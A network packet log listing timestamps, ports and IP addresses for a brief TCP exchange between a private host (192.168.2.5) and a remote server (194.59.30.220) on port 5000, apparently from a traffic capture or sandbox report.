Dec 18, 2024 11:40:29.330945015 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.331008911 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.331063986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.331079960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.331110954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.331110954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.331962109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.332025051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.332108021 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.332792997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.332930088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.332972050 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.333791018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.333951950 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.333988905 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.334808111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.334932089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.334971905 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.335834980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.335948944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.335987091 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.336782932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.336922884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.336961031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.337740898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.337956905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.337992907 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.338712931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.338871956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.338912010 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.339773893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.339984894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.340193987 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.340810061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.341033936 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.341073990 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.341809988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.341934919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.342017889 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.342734098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.342797041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.342850924 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.343751907 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.343832016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.343872070 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.344743013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.344779015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.344816923 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.345685005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.345779896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.345829964 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.346669912 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.346755028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.346796036 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.347759008 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.347881079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.347979069 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.348649025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.348784924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.348828077 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.349672079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.349925041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.349977970 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.350940943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.351000071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.351160049 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.351672888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.351810932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.351852894 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.352725983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.352910042 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.352957010 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.353651047 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.353903055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.353949070 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.354603052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.354733944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.354847908 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.355643034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.355777025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.355830908 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.356632948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.356834888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.356983900 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.496485949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.496531963 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.496644020 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.496735096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.496798038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.497122049 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.497613907 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.497755051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.497798920 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.498639107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.498821974 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.498908997 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.499599934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.499639034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.500031948 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.500581980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.500683069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.500857115 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.501576900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.501741886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.501924038 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.502644062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.502734900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.502799988 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.503536940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.503648996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.503810883 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.504528046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.504709005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.504753113 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.505530119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.505667925 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.505711079 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.506761074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.506927967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.507055044 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.507739067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.507821083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.508136034 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.508527994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.508601904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.508800030 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.509546041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.509711027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.509907961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.510482073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.510654926 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.510755062 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.511507988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.511590004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.511884928 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.512473106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.512581110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.512643099 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.513592005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.513788939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.513933897 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.514507055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.514580011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.514621973 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.515662909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.515681028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.515837908 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.516442060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.516575098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.516648054 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.517549038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.517621994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.517715931 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.518493891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.519004107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.519349098 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.519468069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.519603014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.519828081 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.520435095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.520514011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.520754099 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.521415949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.521549940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.521635056 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.522413015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.522540092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.522646904 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.523427010 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.523554087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.523602962 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.524394989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.524569035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.524674892 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.525413990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.525727987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.525983095 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.526371002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.526473045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.526511908 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.527378082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.527498960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.527542114 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.528363943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.528491020 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.528847933 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.529345989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.529506922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.529570103 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.530342102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.530457973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.530553102 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.531333923 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.531584024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.531644106 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.532334089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.532388926 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.532458067 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.533335924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.533396006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.533442974 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.534332037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.534609079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.534689903 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.535307884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.535379887 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.535521030 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.536374092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.536504030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.536588907 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.537379026 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.537508965 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.537554026 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.538360119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.538425922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.538466930 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.539325953 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.539412975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.539613008 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.540344000 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.540591955 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.540644884 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.541285992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.541378975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.541461945 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.542301893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.542419910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.542552948 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.543703079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.543971062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.544073105 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.544953108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.545025110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.545070887 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.545824051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.545907021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.545964003 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.546629906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.546655893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.546783924 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.547364950 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.547451973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.547600031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.548192978 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.597569942 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.687283039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.687320948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.687468052 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.687674999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.687789917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.687853098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.687897921 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.688858032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.688878059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.688910007 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.689742088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.689840078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.689865112 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.690690994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.690740108 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.690823078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.691740036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.691773891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.691802025 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.692754030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.692836046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.692919016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.693764925 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.693816900 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.693864107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.695040941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.695091963 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.695341110 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.695672035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.695728064 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.695755005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.696702003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.696814060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.696854115 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.697662115 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.697729111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.697782993 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.698803902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.698900938 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.698904991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.699628115 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.699698925 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.699733973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.700675011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.700741053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.700777054 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.701674938 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.701723099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.701745987 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.702678919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.702758074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.702759027 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.703629971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.703742981 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.703762054 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.704833031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.705074072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.705077887 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.705935001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.706005096 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.706024885 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.706629038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.706784964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.706955910 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.707614899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.707699060 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.707786083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.708642006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.708731890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.708774090 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.709546089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.709697962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.709724903 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.710755110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.710817099 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.710838079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.711631060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.711682081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.711707115 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.712605953 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.712645054 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.712670088 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.713563919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.713629961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.713645935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.714549065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:29.714607000 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:29.714656115 CET	5000	49705	194.59.30.220	192.168.2.5
